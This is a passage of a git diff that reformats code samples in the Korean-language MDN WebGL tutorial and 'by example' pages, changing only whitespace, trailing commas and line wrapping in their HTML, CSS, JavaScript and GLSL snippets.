-    HTML5 canvas.</canvas>
+<p>
+  A very simple WebGL program that still shows some color and user interaction.
+</p>
+<p>
+  You can repeatedly click the empty canvas or the button below to change color.
+</p>
+<canvas id="canvas-view"
+  >Your browser does not seem to support HTML5 canvas.</canvas
+>
 <button id="color-switcher">Press here to switch color</button>
 ```
 
 ```css
 body {
-  text-align : center;
+  text-align: center;
 }
 canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
+  display: block;
+  width: 280px;
+  height: 210px;
+  margin: auto;
+  padding: 0;
+  border: none;
+  background-color: black;
 }
 button {
-  display : inline-block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
+  display: inline-block;
+  font-size: inherit;
+  margin: auto;
+  padding: 0.6em;
 }
 ```
 
 ```js
-window.addEventListener("load", function setupWebGL (evt) {
-  "use strict"
-
-  // Cleaning after ourselves. The event handler removes
-  // itself, because it only needs to run once.
-  window.removeEventListener(evt.type, setupWebGL, false);
-
-  // Adding the same click event handler to both canvas and
-  // button.
-  var canvas = document.querySelector("#canvas-view");
-  var button = document.querySelector("#color-switcher");
-  canvas.addEventListener("click", switchColor, false);
-  button.addEventListener("click", switchColor, false);
-
-  // A variable to hold the WebGLRenderingContext.
-  var gl;
-
-  // The click event handler.
-  function switchColor () {
-    // Referring to the externally defined gl variable.
-    // If undefined, try to obtain the WebGLRenderingContext.
-    // If failed, alert user of failure.
-    // Otherwise, initialize the drawing buffer (the viewport).
-    if (!gl) {
-      gl = canvas.getContext("webgl")
-        || canvas.getContext("experimental-webgl");
+window.addEventListener(
+  "load",
+  function setupWebGL(evt) {
+    "use strict";
+
+    // Cleaning after ourselves. The event handler removes
+    // itself, because it only needs to run once.
+    window.removeEventListener(evt.type, setupWebGL, false);
+
+    // Adding the same click event handler to both canvas and
+    // button.
+    var canvas = document.querySelector("#canvas-view");
+    var button = document.querySelector("#color-switcher");
+    canvas.addEventListener("click", switchColor, false);
+    button.addEventListener("click", switchColor, false);
+
+    // A variable to hold the WebGLRenderingContext.
+    var gl;
+
+    // The click event handler.
+    function switchColor() {
+      // Referring to the externally defined gl variable.
+      // If undefined, try to obtain the WebGLRenderingContext.
+      // If failed, alert user of failure.
+      // Otherwise, initialize the drawing buffer (the viewport).
       if (!gl) {
-        alert("Failed to get WebGL context.\n"
-          + "Your browser or device may not support WebGL.");
-        return;
+        gl =
+          canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+        if (!gl) {
+          alert(
+            "Failed to get WebGL context.\n" +
+              "Your browser or device may not support WebGL.",
+          );
+          return;
+        }
+        gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight);
       }
-      gl.viewport(0, 0,
-        gl.drawingBufferWidth, gl.drawingBufferHeight);
+      // Get a random color value using a helper function.
+      var color = getRandomColor();
+      // Set the clear color to the random color.
+      gl.clearColor(color[0], color[1], color[2], 1.0);
+      // Clear the context with the newly set color. This is
+      // the function call that actually does the drawing.
+      gl.clear(gl.COLOR_BUFFER_BIT);
+    }
+
+    // Random color helper function.
+    function getRandomColor() {
+      return [Math.random(), Math.random(), Math.random()];
     }
-    // Get a random color value using a helper function.
-    var color = getRandomColor();
-    // Set the clear color to the random color.
-    gl.clearColor(color[0], color[1], color[2], 1.0);
-    // Clear the context with the newly set color. This is
-    // the function call that actually does the drawing.
-    gl.clear(gl.COLOR_BUFFER_BIT);
-  }
-
-  // Random color helper function.
-  function getRandomColor() {
-    return [Math.random(), Math.random(), Math.random()];
-  }
-
-}, false);
+  },
+  false,
+);
 ```
 
 이 예시 코드는 [GitHub](https://github.com/idofilin/webgl-by-example/tree/master/clearing-by-clicking)에서도 확인 가능합니다.
diff --git a/files/ko/web/api/webgl_api/by_example/detect_webgl/index.md b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.md
index 6ae80f1beb5172..9b4507df89a574 100644
--- a/files/ko/web/api/webgl_api/by_example/detect_webgl/index.md
+++ b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.md
@@ -22,42 +22,46 @@ slug: Web/API/WebGL_API/By_example/Detect_WebGL
 
 ```css
 body {
-  text-align : center;
+  text-align: center;
 }
 button {
-  display : block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
+  display: block;
+  font-size: inherit;
+  margin: auto;
+  padding: 0.6em;
 }
 ```
 
 ```js
 // Run everything inside window load event handler, to make sure
 // DOM is fully loaded and styled before trying to manipulate it.
-window.addEventListener("load", function() {
-  var paragraph = document.querySelector("p"),
-    button = document.querySelector("button");
-  // Adding click event handler to button.
-  button.addEventListener("click", detectWebGLContext, false);
-  function detectWebGLContext () {
-    // Create canvas element. The canvas is not added to the
-    // document itself, so it is never displayed in the
-    // browser window.
-    var canvas = document.createElement("canvas");
-    // Get WebGLRenderingContext from canvas element.
-    var gl = canvas.getContext("webgl")
-      || canvas.getContext("experimental-webgl");
-    // Report the result.
-    if (gl && gl instanceof WebGLRenderingContext) {
-      paragraph.innerHTML =
-        "Congratulations! Your browser supports WebGL.";
-    } else {
-      paragraph.innerHTML = "Failed to get WebGL context. "
-        + "Your browser or device may not support WebGL.";
+window.addEventListener(
+  "load",
+  function () {
+    var paragraph = document.querySelector("p"),
+      button = document.querySelector("button");
+    // Adding click event handler to button.
+    button.addEventListener("click", detectWebGLContext, false);
+    function detectWebGLContext() {
+      // Create canvas element. The canvas is not added to the
+      // document itself, so it is never displayed in the
+      // browser window.
+      var canvas = document.createElement("canvas");
+      // Get WebGLRenderingContext from canvas element.
+      var gl =
+        canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+      // Report the result.
+      if (gl && gl instanceof WebGLRenderingContext) {
+        paragraph.innerHTML = "Congratulations! Your browser supports WebGL.";
+      } else {
+        paragraph.innerHTML =
+          "Failed to get WebGL context. " +
+          "Your browser or device may not support WebGL.";
+      }
     }
-  }
-}, false);
+  },
+  false,
+);
 ```
 
 이 예시 코드는 [GitHub](https://github.com/idofilin/webgl-by-example/tree/master/detect-webgl)에서도 확인 가능합니다.
diff --git a/files/ko/web/api/webgl_api/by_example/hello_glsl/index.md b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.md
index 9fd2c7d3bd6fc7..9a80f0b1939121 100644
--- a/files/ko/web/api/webgl_api/by_example/hello_glsl/index.md
+++ b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.md
@@ -99,7 +99,7 @@ function setupWebGL(evt) {
     const linkErrLog = gl.getProgramInfoLog(program);
     cleanup();
     document.querySelector(
-      "p"
+      "p",
     ).textContent = `Shader program did not link successfully. Error log: ${linkErrLog}`;
     return;
   }
diff --git a/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.md b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.md
index c4e6f1a443083c..dcaf4b3cce9ca6 100644
--- a/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.md
+++ b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.md
@@ -14,56 +14,57 @@ slug: Web/API/WebGL_API/By_example/Hello_vertex_attributes
 어떻게 GPU 메모리에 데이터를 저장함으로써 쉐이더 프로그램에 입력 값을 넣을 수 있을까?
 
 ```html hidden
-<p>First encounter with attributes and sending data to GPU. Click
-on the canvas to change the horizontal position of the square.</p>
+<p>
+  First encounter with attributes and sending data to GPU. Click on the canvas
+  to change the horizontal position of the square.
+</p>
 ```
 
 ```html hidden
-<canvas>Your browser does not seem to support
-    HTML5 canvas.</canvas>
+<canvas>Your browser does not seem to support HTML5 canvas.</canvas>
 ```
 
 ```css hidden
 body {
-  text-align : center;
+  text-align: center;
 }
 canvas {
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
+  width: 280px;
+  height: 210px;
+  margin: auto;
+  padding: 0;
+  border: none;
+  background-color: black;
 }
 button {
-  display : block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
+  display: block;
+  font-size: inherit;
+  margin: auto;
+  padding: 0.6em;
 }
 ```
 
 ```html
 <script type="x-shader/x-vertex" id="vertex-shader">
-#version 100
-precision highp float;
+  #version 100
+  precision highp float;
 
-attribute float position;
+  attribute float position;
 
-void main() {
-  gl_Position = vec4(position, 0.0, 0.0, 1.0);
-  gl_PointSize = 64.0;
-}
+  void main() {
+    gl_Position = vec4(position, 0.0, 0.0, 1.0);
+    gl_PointSize = 64.0;
+  }
 </script>
 ```
 
 ```html
 <script type="x-shader/x-fragment" id="fragment-shader">
-#version 100
-precision mediump float;
-void main() {
-  gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
-}
+  #version 100
+  precision mediump float;
+  void main() {
+    gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+  }
 </script>
 ```
 
@@ -146,16 +147,16 @@ function getRenderingContext() {
   var canvas = document.querySelector("canvas");
   canvas.width = canvas.clientWidth;
   canvas.height = canvas.clientHeight;
-  var gl = canvas.getContext("webgl")
-    || canvas.getContext("experimental-webgl");
+  var gl =
+    canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
   if (!gl) {
     var paragraph = document.querySelector("p");
-    paragraph.innerHTML = "Failed to get WebGL context."
-      + "Your browser or device may not support WebGL.";
+    paragraph.innerHTML =
+      "Failed to get WebGL context." +
+      "Your browser or device may not support WebGL.";
     return null;
   }
-  gl.viewport(0, 0,
-    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight);
   gl.clearColor(0.0, 0.0, 0.0, 1.0);
   gl.clear(gl.COLOR_BUFFER_BIT);
   return gl;
diff --git a/files/ko/web/api/webgl_api/by_example/scissor_animation/index.md b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.md
index d5556aad3a1410..97442b1aaf10f1 100644
--- a/files/ko/web/api/webgl_api/by_example/scissor_animation/index.md
+++ b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.md
@@ -16,37 +16,39 @@ slug: Web/API/WebGL_API/By_example/Scissor_animation
 반대로, 사각형의 색 ({{domxref("WebGLRenderingContext.clearColor()","clearColor")}}으로 설정되는)은 오직 새로운 사각형이 생성될 때만 업데이트 됩니다. 이것은 상태 머신으로써 {{Glossary("WebGL")}} 을 보여줄 좋은 데모입니다. 각 사각형에 대하여 우리는 그것의 색을 결정하고, 매 프레임마다 위치를 결정합니다. WebGl의 깨끗한 색 상태는 새로운 사각형이 생성되어 우리가 그것을 다시 바꿀 때까지 설정 값으로 남아있습니다.
 
 ```html hidden
-<p>WebGL animation by clearing the drawing buffer with solid
-color and applying scissor test.</p>
+<p>
+  WebGL animation by clearing the drawing buffer with solid color and applying
+  scissor test.
+</p>
 <button id="animation-onoff">
   Press here to
-<strong>[verb goes here]</strong>
-  the animation</button>
+  <strong>[verb goes here]</strong>
+  the animation
+</button>
 ```
 
 ```html hidden
-<canvas>Your browser does not seem to support
-    HTML5 canvas.</canvas>
+<canvas>Your browser does not seem to support HTML5 canvas.</canvas>
 ```
 
 ```css hidden
 body {
-  text-align : center;
+  text-align: center;
 }
 canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
+  display: block;
+  width: 280px;
+  height: 210px;
+  margin: auto;
+  padding: 0;
+  border: none;
+  background-color: black;
 }
 button {
-  display : block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
+  display: block;
+  font-size: inherit;
+  margin: auto;
+  padding: 0.6em;
 }
 ```
 
@@ -129,16 +131,16 @@ function getRenderingContext() {
   var canvas = document.querySelector("canvas");
   canvas.width = canvas.clientWidth;
   canvas.height = canvas.clientHeight;
-  var gl = canvas.getContext("webgl")
-    || canvas.getContext("experimental-webgl");
+  var gl =
+    canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
   if (!gl) {
     var paragraph = document.querySelector("p");
-    paragraph.innerHTML = "Failed to get WebGL context."
-      + "Your browser or device may not support WebGL.";
+    paragraph.innerHTML =
+      "Failed to get WebGL context." +
+      "Your browser or device may not support WebGL.";
     return null;
   }
-  gl.viewport(0, 0,
-    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight);
   gl.clearColor(0.0, 0.0, 0.0, 1.0);
   gl.clear(gl.COLOR_BUFFER_BIT);
   return gl;
diff --git a/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.md b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.md
index 484d1235b400d5..90f94c2265d809 100644
--- a/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.md
+++ b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.md
@@ -2,6 +2,7 @@
 title: 간단한 색깔 애니메이션
 slug: Web/API/WebGL_API/By_example/Simple_color_animation
 ---
+
 {{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}
 
 {{Glossary("WebGL")}} 를 청소함으로써 매 초 마다 랜덤 색이 버퍼에 그려지는 매우 기본적인 색깔 애니메이션.
@@ -16,100 +17,105 @@ slug: Web/API/WebGL_API/By_example/Simple_color_animation
 
 ```html
 <p>A simple WebGL program that shows color animation.</p>
-<p>You can click the button below to toggle the
-    color animation on or off.</p>
-<canvas id="canvas-view">Your browser does not seem to support
-    HTML5 canvas.</canvas>
+<p>You can click the button below to toggle the color animation on or off.</p>
+<canvas id="canvas-view"
+  >Your browser does not seem to support HTML5 canvas.</canvas
+>
 <button id="animation-onoff">
   Press here to
-<strong>[verb goes here]</strong>
+  <strong>[verb goes here]</strong>
   the animation
 </button>
 ```
 
 ```css
 body {
-  text-align : center;
+  text-align: center;
 }
 canvas {
-  display : block;
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
+  display: block;
+  width: 280px;
+  height: 210px;
+  margin: auto;
+  padding: 0;
+  border: none;
+  background-color: black;
 }
 button {
-  display : inline-block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
+  display: inline-block;
+  font-size: inherit;
+  margin: auto;
+  padding: 0.6em;
 }
 ```
 
 ```js
-window.addEventListener("load", function setupAnimation (evt) {
-  "use strict"
-  window.removeEventListener(evt.type, setupAnimation, false);
-
-  // A variable to hold a timer that drives the animation.
-  var timer;
-
-  // Click event handlers.
-  var button = document.querySelector("#animation-onoff");
-  var verb = document.querySelector("strong");
-  function startAnimation(evt) {
-    button.removeEventListener(evt.type, startAnimation, false);
-    button.addEventListener("click", stopAnimation, false);
-    verb.innerHTML="stop";
-    // Setup animation loop by redrawing every second.
-    timer = setInterval(drawAnimation, 1000);
-    // Give immediate feedback to user after clicking, by
-    // drawing one animation frame.
-    drawAnimation();
-  }
-  function stopAnimation(evt) {
-    button.removeEventListener(evt.type, stopAnimation, false);
-    button.addEventListener("click", startAnimation, false);
-    verb.innerHTML="start";
-    // Stop animation by clearing the timer.
-    clearInterval(timer);
-  }
-  // Call stopAnimation() once to setup the initial event
-  // handlers for canvas and button.
-  stopAnimation({type: "click"});
-
-  var gl;
-  function drawAnimation () {
-    if (!gl) {
-      var canvas = document.getElementById("canvas-view");
-      gl = canvas.getContext("webgl")
-        ||canvas.getContext("experimental-webgl");
+window.addEventListener(
+  "load",
+  function setupAnimation(evt) {
+    "use strict";
+    window.removeEventListener(evt.type, setupAnimation, false);
+
+    // A variable to hold a timer that drives the animation.
+    var timer;
+
+    // Click event handlers.
+    var button = document.querySelector("#animation-onoff");
+    var verb = document.querySelector("strong");
+    function startAnimation(evt) {
+      button.removeEventListener(evt.type, startAnimation, false);
+      button.addEventListener("click", stopAnimation, false);
+      verb.innerHTML = "stop";
+      // Setup animation loop by redrawing every second.
+      timer = setInterval(drawAnimation, 1000);
+      // Give immediate feedback to user after clicking, by
+      // drawing one animation frame.
+      drawAnimation();
+    }
+    function stopAnimation(evt) {
+      button.removeEventListener(evt.type, stopAnimation, false);
+      button.addEventListener("click", startAnimation, false);
+      verb.innerHTML = "start";
+      // Stop animation by clearing the timer.
+      clearInterval(timer);
+    }
+    // Call stopAnimation() once to setup the initial event
+    // handlers for canvas and button.
+    stopAnimation({ type: "click" });
+
+    var gl;
+    function drawAnimation() {
       if (!gl) {
-        clearInterval(timer);
-        alert("Failed to get WebGL context.\n"
-          + "Your browser or device may not support WebGL.");
-        return;
+        var canvas = document.getElementById("canvas-view");
+        gl =
+          canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+        if (!gl) {
+          clearInterval(timer);
+          alert(
+            "Failed to get WebGL context.\n" +
+              "Your browser or device may not support WebGL.",
+          );
+          return;
+        }
+        gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight);
       }
-      gl.viewport(0, 0,
-        gl.drawingBufferWidth, gl.drawingBufferHeight);
+
+      // Get a random color value using a helper function.
+      var color = getRandomColor();
+      // Set the WebGLRenderingContext clear color to the
+      // random color.
+      gl.clearColor(color[0], color[1], color[2], 1.0);
+      // Clear the context with the newly set color.
+      gl.clear(gl.COLOR_BUFFER_BIT);
     }
 
-    // Get a random color value using a helper function.
-    var color = getRandomColor();
-    // Set the WebGLRenderingContext clear color to the
-    // random color.
-    gl.clearColor(color[0], color[1], color[2], 1.0);
-    // Clear the context with the newly set color.
-    gl.clear(gl.COLOR_BUFFER_BIT);
-  }
-
-  // Random color helper function.
-  function getRandomColor() {
-    return [Math.random(), Math.random(), Math.random()];
-  }
-}, false);
+    // Random color helper function.
+    function getRandomColor() {
+      return [Math.random(), Math.random(), Math.random()];
+    }
+  },
+  false,
+);
 ```
 
 이 예시 코드는 [GitHub](https://github.com/idofilin/webgl-by-example/tree/master/simple-color-animation)에서도 확인 가능합니다.
diff --git a/files/ko/web/api/webgl_api/by_example/textures_from_code/index.md b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.md
index 6e001b7e900a7c..5bf3c72bb1ad0f 100644
--- a/files/ko/web/api/webgl_api/by_example/textures_from_code/index.md
+++ b/files/ko/web/api/webgl_api/by_example/textures_from_code/index.md
@@ -2,6 +2,7 @@
 title: 코드에서의 텍스쳐
 slug: Web/API/WebGL_API/By_example/Textures_from_code
 ---
+
 {{PreviousNext("Learn/WebGL/By_example/Hello_vertex_attributes","Learn/WebGL/By_example/Video_textures")}}
 
 단편화된 쉐이더들과 함께 순차적으로 보여주는 간단한 데모
@@ -13,62 +14,60 @@ slug: Web/API/WebGL_API/By_example/Textures_from_code
 fragment shader에서 픽셀 단위로 계산된 스프라이트 텍스쳐를 그립니다.
 
 ```html hidden
-<p>Texture from code. Simple demonstration
-    of procedural texturing</p>
+<p>Texture from code. Simple demonstration of procedural texturing</p>
 ```
 
 ```html hidden
-<canvas>Your browser does not seem to support
-    HTML5 canvas.</canvas>
+<canvas>Your browser does not seem to support HTML5 canvas.</canvas>
 ```
 
 ```css hidden
 body {
-  text-align : center;
+  text-align: center;
 }
 canvas {
-  width : 280px;
-  height : 210px;
-  margin : auto;
-  padding : 0;
-  border : none;
-  background-color : black;
+  width: 280px;
+  height: 210px;
+  margin: auto;
+  padding: 0;
+  border: none;
+  background-color: black;
 }
 button {
-  display : block;
-  font-size : inherit;
-  margin : auto;
-  padding : 0.6em;
+  display: block;
+  font-size: inherit;
+  margin: auto;
+  padding: 0.6em;
 }
 ```
 
 ```html
 <script type="x-shader/x-vertex" id="vertex-shader">
-#version 100
-precision highp float;
+  #version 100
+  precision highp float;
 
-attribute vec2 position;
+  attribute vec2 position;
 
-void main() {
-  gl_Position = vec4(position, 0.0, 1.0);
-  gl_PointSize = 128.0;
-}
+  void main() {
+    gl_Position = vec4(position, 0.0, 1.0);
+    gl_PointSize = 128.0;
+  }
 </script>
 ```
 
 ```html
 <script type="x-shader/x-fragment" id="fragment-shader">
-#version 100
-precision mediump float;
-void main() {
-  vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
-  float distance = length(fragmentPosition);
-  float distanceSqrd = distance * distance;
-  gl_FragColor = vec4(
-    0.2/distanceSqrd,
-    0.1/distanceSqrd,
-    0.0, 1.0 );
-}
+  #version 100
+  precision mediump float;
+  void main() {
+    vec2 fragmentPosition = 2.0*gl_PointCoord - 1.0;
+    float distance = length(fragmentPosition);
+    float distanceSqrd = distance * distance;
+    gl_FragColor = vec4(
+      0.2/distanceSqrd,
+      0.1/distanceSqrd,
+      0.0, 1.0 );
+  }
 </script>
 ```
 
@@ -77,22 +76,20 @@ void main() {
 ```
 
 ```js
-"use strict"
+"use strict";
 window.addEventListener("load", setupWebGL, false);
-var gl,
-  program;
-function setupWebGL (evt) {
+var gl, program;
+function setupWebGL(evt) {
   window.removeEventListener(evt.type, setupWebGL, false);
-  if (!(gl = getRenderingContext()))
-    return;
+  if (!(gl = getRenderingContext())) return;
 
   var source = document.querySelector("#vertex-shader").innerHTML;
   var vertexShader = gl.createShader(gl.VERTEX_SHADER);
-  gl.shaderSource(vertexShader,source);
+  gl.shaderSource(vertexShader, source);
   gl.compileShader(vertexShader);
-  source = document.querySelector("#fragment-shader").innerHTML
+  source = document.querySelector("#fragment-shader").innerHTML;
   var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
-  gl.shaderSource(fragmentShader,source);
+  gl.shaderSource(fragmentShader, source);
   gl.compileShader(fragmentShader);
   program = gl.createProgram();
   gl.attachShader(program, vertexShader);
@@ -106,8 +103,7 @@ function setupWebGL (evt) {
     var linkErrLog = gl.getProgramInfoLog(program);
     cleanup();
     document.querySelector("p").innerHTML =
-      "Shader program did not link successfully. "
-      + "Error log: " + linkErrLog;
+      "Shader program did not link successfully. " + "Error log: " + linkErrLog;
     return;
   }
   initializeAttributes();
@@ -126,11 +122,9 @@ function initializeAttributes() {
 }
 
 function cleanup() {
-gl.useProgram(null);
-if (buffer)
-  gl.deleteBuffer(buffer);
-if (program)
-  gl.deleteProgram(program);
+  gl.useProgram(null);
+  if (buffer) gl.deleteBuffer(buffer);
+  if (program) gl.deleteProgram(program);
 }
 ```
 
@@ -139,16 +133,16 @@ function getRenderingContext() {
   var canvas = document.querySelector("canvas");
   canvas.width = canvas.clientWidth;
   canvas.height = canvas.clientHeight;
-  var gl = canvas.getContext("webgl")
-    || canvas.getContext("experimental-webgl");
+  var gl =
+    canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
   if (!gl) {
     var paragraph = document.querySelector("p");
-    paragraph.innerHTML = "Failed to get WebGL context."
-      + "Your browser or device may not support WebGL.";
+    paragraph.innerHTML =
+      "Failed to get WebGL context." +
+      "Your browser or device may not support WebGL.";
     return null;
   }
-  gl.viewport(0, 0,
-    gl.drawingBufferWidth, gl.drawingBufferHeight);
+  gl.viewport(0, 0, gl.drawingBufferWidth, gl.drawingBufferHeight);
   gl.clearColor(0.0, 0.0, 0.0, 1.0);
   gl.clear(gl.COLOR_BUFFER_BIT);
   return gl;
diff --git a/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md
index 88c90c9072fcd9..9f5eb5c4858927 100644
--- a/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md
+++ b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.md
@@ -35,7 +35,10 @@ function initShaders() {
 
   gl.useProgram(shaderProgram);
 
-  vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+  vertexPositionAttribute = gl.getAttribLocation(
+    shaderProgram,
+    "aVertexPosition",
+  );
   gl.enableVertexAttribArray(vertexPositionAttribute);
 }
 ```
@@ -73,14 +76,14 @@ function getShader(gl, id) {
 특정 ID를 가진 엘리먼트를 찾으면 텍스트 컨텐츠가 `theSource 변수에 저장됩니다.`
 
 ```js
-  if (shaderScript.type == "x-shader/x-fragment") {
-    shader = gl.createShader(gl.FRAGMENT_SHADER);
-  } else if (shaderScript.type == "x-shader/x-vertex") {
-    shader = gl.createShader(gl.VERTEX_SHADER);
-  } else {
-     // Unknown shader type
-     return null;
-  }
+if (shaderScript.type == "x-shader/x-fragment") {
+  shader = gl.createShader(gl.FRAGMENT_SHADER);
+} else if (shaderScript.type == "x-shader/x-vertex") {
+  shader = gl.createShader(gl.VERTEX_SHADER);
+} else {
+  // Unknown shader type
+  return null;
+}
 ```
 
 쉐이더를 위한 코드가 읽혀지면 쉐이더가 정점 쉐이더(MIME type "x-shader/x-vertex")인지 조각 쉐이더(MIME type "x-shader/x-fragment")인지 결정하기 위해 쉐이더 객체의 MIME 형식을 살펴봅니다. 그 다음 소스 코드에서 얻어진 것을 가지고 적절한 타입의 쉐이더를 생성합니다.
@@ -121,7 +124,6 @@ fragment의 색상에서 사용되는 gl_FragColor는 GL에서 만들어진 변
     gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
 
   }
-
 </script>
 ```
 
@@ -147,17 +149,14 @@ fragment의 색상에서 사용되는 gl_FragColor는 GL에서 만들어진 변
 사각형 렌더링을 하기 전에 사각형의 각 정점들을 저장할 버퍼를 만들어야 합니다. 이를 **initBuffers()** 라는 함수를 이용해 해보도록 하겠습니다. 앞으로 고급 WebGL 개념을 살펴보면서, 더욱 다양하고 복잡한 3D 오브젝트를 생성하고자 할 때 이 루틴을 많이 사용하게 될 것입니다.
 
 ```js
-var horizAspect = 480.0/640.0;
+var horizAspect = 480.0 / 640.0;
 
 function initBuffers() {
   squareVerticesBuffer = gl.createBuffer();
   gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
 
   var vertices = [
-    1.0,  1.0,  0.0,
-    -1.0, 1.0,  0.0,
-    1.0,  -1.0, 0.0,
-    -1.0, -1.0, 0.0
+    1.0, 1.0, 0.0, -1.0, 1.0, 0.0, 1.0, -1.0, 0.0, -1.0, -1.0, 0.0,
   ];
 
   gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
@@ -176,7 +175,7 @@ function initBuffers() {
 function drawScene() {
   gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
 
-  perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+  perspectiveMatrix = makePerspective(45, 640.0 / 480.0, 0.1, 100.0);
 
   loadIdentity();
   mvTranslate([-0.0, 0.0, -6.0]);
@@ -217,7 +216,11 @@ function mvTranslate(v) {
 
 function setMatrixUniforms() {
   var pUniform = gl.getUniformLocation(shaderProgram, "uPMatrix");
-  gl.uniformMatrix4fv(pUniform, false, new Float32Array(perspectiveMatrix.flatten()));
+  gl.uniformMatrix4fv(
+    pUniform,
+    false,
+    new Float32Array(perspectiveMatrix.flatten()),
+  );
 
   var mvUniform = gl.getUniformLocation(shaderProgram, "uMVMatrix");
   gl.uniformMatrix4fv(mvUniform, false, new Float32Array(mvMatrix.flatten()));
diff --git a/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md
index 84f948f3310a99..882948cb45977e 100644
--- a/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md
+++ b/files/ko/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.md
@@ -37,7 +37,7 @@ mvPopMatrix();
 실제로 애니메이션 효과가 나타나도록 하려면 `squareRotation` 값을 시간이 지남에 따라 계속 변경해주는 코드를 추가해야 합니다. `lastSquareUpdateTime`이라는 변수에 마지막으로 다시 그렸던 시각을 저장하고, 다음과 같은 코드를 `drawScene()`에 추가합니다:
 
 ```js
-var currentTime = (new Date).getTime();
+var currentTime = new Date().getTime();
 if (lastSquareUpdateTime) {
   var delta = currentTime - lastSquareUpdateTime;
 
@@ -111,7 +111,7 @@ function mvPushMatrix(m) {
 
 function mvPopMatrix() {
   if (!mvMatrixStack.length) {
-    throw("Can't pop from an empty matrix stack.");
+    throw "Can't pop from an empty matrix stack.";
   }
 
   mvMatrix = mvMatrixStack.pop();
@@ -119,7 +119,7 @@ function mvPopMatrix() {
 }
 
 function mvRotate(angle, v) {
-  var inRadians = angle * Math.PI / 180.0;
+  var inRadians = (angle * Math.PI) / 180.0;
 
   var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
   multMatrix(m);
diff --git a/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md
index fe38b8d55a5509..688a4455d35664 100644
--- a/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md
+++ b/files/ko/web/api/webgl_api/tutorial/animating_textures_in_webgl/index.md
@@ -13,7 +13,8 @@ slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
 
 ```js
 <video id="video">
-  Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code> element.
+  Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code>{" "}
+  element.
 </video>
 ```
 
@@ -21,7 +22,8 @@ slug: Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL
 >
 > ```js
 > <video id="video" src="Firefox.ogv" autoplay>
->   Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code> element.
+>   Your browser doesn't appear to support the HTML5 <code>&lt;video&gt;</code>{" "}
+>   element.
 > </video>
 > ```
 
@@ -97,7 +99,14 @@ function initTextures() {
 function updateTexture() {
   gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
   gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);
-  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, videoElement);
+  gl.texImage2D(
+    gl.TEXTURE_2D,
+    0,
+    gl.RGBA,
